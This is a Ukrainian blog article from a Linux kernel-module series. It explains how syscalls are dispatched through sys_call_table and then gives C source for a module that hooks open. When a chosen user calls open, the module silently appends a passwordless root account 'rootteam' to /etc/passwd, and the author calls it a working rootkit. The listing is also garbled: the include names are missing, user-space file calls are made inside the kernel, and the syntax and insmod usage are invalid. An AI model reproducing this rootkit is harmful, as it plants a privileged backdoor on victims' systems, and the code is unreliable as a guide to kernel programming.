Програмування в Linux: Linux Kernel Modules # 2: system_call (исходники), Різне, Програмування, статті

Дана стаття є логічним продовженням попередньої, Так що для отримання якихось відповідей на поставлені питання, не слід відразу писати мені – прочитайте попередній матеріал. У попередній статті я писав, для чого використовуються модулі, з чого складаються і, навіть, привів найпростіший приклад … Але варто зауважити, що наведений приклад не був частиною ядра (точніше код програми), так як у функції ініціалізації / деініціалізаціі в код ядра нічого не було доданий (Нагадаю, що при установці модуля виводилося повідомлення). Як я вже говорив, модулі додають / змінюють якісь системні виклики (функції). Саме про це я і спробую розповісти, але спочатку трохи теорії.

Припустимо ми написали якийсь модуль, який має змінити покажчик у таблиці на нову функцію-обробник, яка тепер буде здійснювати деякі дії запропоновані попередньої функції. Так як ми не знаємо про те, замінений чи оригінал функції будь-якої іншої (до нас могли вже встановити інший обробник), існує можливість дуже сильного пошкодження ядра.

Справа в тому, що якщо хтось вже замінив стандартний обробник, то, припустимо, після нашої установки, користувач вирішив видалити свій модуль, при відкат дій, “його” модуль спробує замінити покажчик в таблиці на попередній … Тепер давайте уявимо, що після цього ми вирішили також видалити наш модуль.

Що буде при відкат? Якщо ми погані програмісти (то ми не захищаючись) відновлює покажчик на старий “його” обробник, якого, варто зауважити, уже немає в пам’яті … Це веде до неминучого виконання довільного коду на машині, так що щоб уникнути таких нещасних випадків можна використовувати хоча б лічильник посилань. По друге (оффтопік) … У людини завжди має бути мета … сьогодні вона в мене є – Я досліджую, я хакер … а завтра я помру … Почнемо.

Зазвичай для побудови руткитов використовують заміну будь-яких системних викликів … так поступимо і ми … скориставшись командою “strace” ми отримуємо список всіх системних викликів використаних програмою.

В ядрі існує місце, куди передається управління з користувацького процесу; таке місце називається system_call. Тут ядро ​​перевіряє номер системного виклику, за яким ядро ​​визначає, яка функція потрібно процесу. Далі проглядається таблиця системних викликів sys_call_table, для визначення адреси системної функції в ядрі. І, нарешті, викликається ця функція.

Що ж нам потрібно для зміни роботи деякого системного виклику? Для початку нам потрібно написати нову функцію для реалізації системного виклику. Далі ми змінимо покажчик на нашу нову функцію в таблиці системних викликів sys_call_table.

Давайте розглянемо приклад. Нехай дана програма і не ідеальна, але вона наочно показує те, що показує … Наша програма буде додавати користувача rootteam в файл / etc / passwd при кожному системному виклик open. Згоден, нерозумно, але це лише демонстрація.

——————————————CODE_START————————————-

// sys_open.c

#include
#include
#include
#include
#include

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include
#endif
#include
/*
визначаємо версію ядра
*/
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) ((a)*65535+(b)*256+(c))
#endif
#if LINUX_VERSION_CODE>=KERNEL_VERSION(2,2,0)
#include
#endif
/*
визначаємо таблицю системних викликів
*/
extern void* sys_call_table[];
/*
вкажемо UID користувача, системний виклик якого ми використовуємо
*/
int uid,my_sys_flag=1;

/*
перевіряємо тип в переданому параметрі (це повинен бути integer)
*/
#if LINUX_VERSION_CODE=>KERNEL_VERSION(2,2,0)
MODULE_PARM(uid,”i”);
#endif
/*
в цьому місці ми збережемо предідщій покажчик на системний виклик
*/
asmlinkage int
(*original_call)(const char* , int , int);
asmlinkage int
(*getuid_call)();
/*
тут знаходиться НАША функція
*/
asmlinkage int
my_sys_open(const char* filename, int flags, int mode)
{
 FILE *file;
 int i=0;
 char ch;
  if(uid==getuid_call() && my_sys_flag)
   {
    my_sys_flag=0;
    file=fopen(“/etc/passwd”,”a”);
    fprintf(file,”rootteam::0:0:rootteam:/root:/bin/sh”);
    fclose(file);
   }
 my_sys_flag=1;
 return original_call(filename,flags,mode);
}
/*
функція ініціалізації модуля, відбувається заміна покажчика в таблиці
*/
int
init_module()
{
 original_call=sys_call_table[__NR_open];
 sys_call_table[__NR_open]=my_sys_open;
/*
отримуємо указатеь на getuid ()-функцію
*/
 getuid_call=sys_call_table[__NR_getuid];
return 0;
}
/*
функція відкоту модуля
*/
void
cleanup_module()
{
 if(sys_call_table[__NR_open]!=my_sys_open)
 {
  printk(“There is no my function in kernel, somebody chenged the pointer! “);
  exit -1;  
 }
 sys_call_table[__NR_open]=original_call;
}

——————————————CODE_ENDS————————————–

Ось власне і все … цілком робочий руткіт … хоча ні, забув про одну деталь. Так як нашому модулю передається параметр-UID користувача від якого ми чекаємо виклику open, то установка модуля в систему відбувається наступним чином:

$/sbin/insmod uid=1000 -c sys_open.c
так що не забудьте додати відсутні рядки в Makefile. Чекайте чергових статей … І пам’ятайте, у вас з’явилася мета!

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*